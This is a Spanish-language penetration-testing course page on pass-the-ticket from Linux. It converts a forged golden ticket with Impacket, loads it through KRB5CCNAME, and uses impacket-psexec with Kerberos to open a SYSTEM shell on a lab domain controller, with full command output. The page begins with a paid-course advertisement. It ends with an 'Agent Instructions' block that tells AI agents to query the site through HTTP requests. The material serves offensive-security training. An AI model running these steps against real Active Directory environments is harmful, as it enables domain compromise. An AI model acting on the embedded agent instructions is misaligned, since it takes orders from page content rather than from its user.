# PTT en Linux

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

En entornos Linux/Unix, el proceso implica convertir el ticket a un formato compatible (.ccache). Herramientas como `ticketConverter.py` de Impacket son esenciales en este proceso. Una vez convertido, se puede utilizar `kinit` con el archivo .ccache para autenticarse en el entorno Linux/Unix.

Teniendo en cuenta lo explicado en [Golden Ticket tradicional utilizando Mimikatz](/cpad/persistencia-y-post-explotacion-en-ad/golden-ticket/variantes-del-golden-ticket/golden-ticket-tradicional-utilizando-mimikatz.md)

```bash
kali@kali=> impacket-ticketConverter evil.tck evil.ccache                                                     
Impacket v0.11.0 - Copyright 2023 Fortra

[*] converting kirbi to ccache...
[+] done
```

Despues de pasar el ticket a CCACHE, debemos establecer la siguiente variable de entorno apuntando a la ruta del archivo en donde se aloja el ticket CCACHE:

```bash
export KRB5CCNAME=/home/kali/Desktop/CPAD/evil.ccache
```

Y finalmente podemos validar la configuracion previa con:

```bash
kali@kali=> klist
Ticket cache: FILE:/home/kali/Desktop/CPAD/evil.ccache
Default principal: Administrator@spartancybersec.corp

Valid starting       Expires              Service principal
11/23/2023 09:40:54  11/20/2033 09:40:54  krbtgt/spartancybersec.corp@spartancybersec.corp
	renew until 11/20/2033 09:40:54
```

Y para validar que se cargaron nuestros permisos basado el ticket podemos ejecutar el siguiente comando:

```bash
kali@kali=> impacket-psexec -k -no-pass -target-ip 18.191.44.143 -dc-ip 18.191.44.143 first-dc.spartancybersec.corp
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 18.191.44.143.....
[*] Found writable share ADMIN$
[*] Uploading file DFiDMQsg.exe
[*] Opening SVCManager on 18.191.44.143.....
[*] Creating service uYJy on 18.191.44.143.....
[*] Starting service uYJy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3406]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
First-DC

C:\Windows\system32> ipconfig 

Windows IP Configuration
Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : spartancybersec.corp
   Link-local IPv6 Address . . . . . : fe80::dc16:bad5:b35:e9e9%4
   IPv4 Address. . . . . . . . . . . : 10.0.1.100
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.1.1
```

En la evidencia previa, estamos usando impacket con el parametro -k podemos autenticarnos por PSEXEC sobre el First-DC.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/persistencia-y-post-explotacion-en-ad/pass-the-ticket/ptt-en-linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
